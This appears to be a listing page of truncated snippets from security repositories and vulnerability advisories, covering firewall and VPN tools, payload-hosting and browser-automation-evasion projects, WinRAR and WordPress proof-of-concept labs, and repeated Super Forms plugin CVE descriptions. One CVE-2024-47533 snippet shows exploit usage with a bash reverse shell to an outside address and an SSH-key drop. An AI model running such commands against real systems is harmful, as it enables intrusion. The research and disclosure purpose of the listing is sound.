pwndrop

pwndrop is a self-deployable file hosting service for sending out red teaming payloads or securely sharing your private files over HTTP and WebDAV. If you've ever needed to quickly set up an nginx/apache web server to host your files and you were never happy with the limitations of python -m...

firehol

FireHOL http://firehol.org/ FireHOL, an iptables stateful packet filtering firewall for humans! FireQOS, a TC based bandwidth shaper for humans! Git These instructions are for people who are working with the git repository. There are more general instructions starting with Upgrade Notes. Cloning...

fwknop

fwknop - Single Packet Authorization Introduction fwknop implements an authorization scheme known as Single Packet Authorization SPA for strong service concealment. SPA requires only a single packet which is encrypted, non-replayable, and authenticated via an HMAC in order to communicate desired...

e9patch

E9Patch - Un puissant réécrivain statique de binaires E9Patch est un outil puissant de réécriture statique de binaires pour les binaires ELF Linux x8664. E9Patch est : Évolutif : E9Patch peut réécrire de manière fiable des binaires volumineux/complexes, y compris des navigateurs Web taille 100 Mo...

CVE-2024-47533

Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'mkdir -p...

lab-cve-2025-3515

Laboratoire WordPress CVE-2025-3515 Drag and Drop Multiple File Upload for Contact Form 7 Lancez un environnement WordPress vulnérable pour reproduire et valider CVE-2025-3515 — téléchargement de fichier sans restriction via ddmuuploadfile dans le plugin...

wolfGuard

WolfGuard VPN avec cryptographie FIPS 140-3 WolfGuard est le remaniement conforme FIPS de WireGuard basé sur le noyau Linux, conçu et développé à l'origine par Jason Donenfeld. L'utilisation est essentiellement identique. WolfGuard se compose de deux composants principaux : le module noyau...

rebrowser-patches

🪄 Patches for undetectable browser automation This repo contains patches to enhance popular web automation libraries. Specifically, it targets the puppeteer and playwright packages. Some aspects of automation libraries or browser behavior cannot be adjusted through settings or command-line...

Drag and Drop Multiple File Upload - CF7 <= 1.3.9.6 - Remote Code Execution

Drag and Drop Multiple File Upload for Contact Form 7 WordPress plugin = 1.3.9.6 contains an unrestricted file upload caused by insufficient file type validation and bypass of filename sanitization with non-ASCII characters, letting unauthenticated attackers upload arbitrary files and achieve...

WinRAR-CVE-2025-8088-PoC-RAR

WinRAR-CVE-2025-8088-PoC-RAR Архив WinRAR 0day CVE-2025-8088 PoC RAR Поместите файл MyResumefinal.rar в каталог «Загрузки» и извлеките его с помощью пункта «Extract to MyResumefinal» или через интерфейс уязвимой версии WinRAR, чтобы запустить эксплойт! : Вы увидите, как файл VBScript с именем...

batondrop_armv7

baton drop pour armv7 MSM8960 Étant donné que le correctif de policyhax alias golden key fonctionne effectivement sur les systèmes Qualcomm, j'ai récupéré un Dell XPS 10 fonctionnel mais vendu pour pièces afin de porter baton drop sur MSM8960. Voici le résultat. Extrayez l'image.7z sur votre...

esp32_esp8266_attacks

Attaques Wi-Fi ESP32/ESP8266 Ce dépôt fait partie d'un résultat de recherche duASSET Research Group. Ce dépôt démontre 3 attaques Wi-Fi contre les populaires appareils IoT ESP32/8266 : Zero PMK Installation CVE-2019-12587 - Détournement de clients ESP32/ESP8266 connectés à des réseaux d'entrepris...

Tourmaline

Tourmaline I recently stumbled upon a piece of cleverly designed malware that calls itself "Tourmaline". This README is very kindly written by Claude as I was super busy with exams at the time of this repository's inception. Exploiting and decrypting this malware took a huge chunk of my time from...

CVE-2026-15897

The Super Forms – Drag & Drop Form Builder plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 6.3.316. This is due to the Register & Login add-on's beforeemailsuccessmsg function, in its registerloginaction='update' flow, trusting an attacker-supplied...

CVE-2026-15896

The Super Forms – Drag & Drop Form Builder plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 6.3.316 via the parserequest function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can...

CVE-2026-15896

The Super Forms – Drag & Drop Form Builder plugin for WordPress is vulnerable to a Directory Traversal vulnerability in all versions up to and including 6.3.316 . The root cause lies in the parse_request function, specifically involving the 'sfgtfi' URL path parameter. This flaw allows unauthenti...

EUVD-2026-91180

The Super Forms – Drag & Drop Form Builder plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 6.3.316 via the parserequest function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can...

CVE-2026-15896 Super Forms <= 6.3.316 - Unauthenticated Path Traversal to Arbitrary File Read via 'sfgtfi' URL Path Parameter

The Super Forms – Drag & Drop Form Builder plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 6.3.316 via the parserequest function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can...

CVE-2026-15897 Super Forms – Drag & Drop Form Builder <= 6.3.316 - Authenticated (Subscriber+) Privilege Escalation via 'user_id' Parameter in Register & Login

The Super Forms – Drag & Drop Form Builder plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 6.3.316. This is due to the Register & Login add-on's beforeemailsuccessmsg function, in its registerloginaction='update' flow, trusting an attacker-supplied...

CVE-2026-15897

The Super Forms – Drag & Drop Form Builder plugin for WordPress (all versions up to and including 6.3.316 ) is vulnerable to Privilege Escalation . The flaw exists in the Register & Login add-on's before_email_success_msg() function, which fails to perform ownership or capability checks when proc...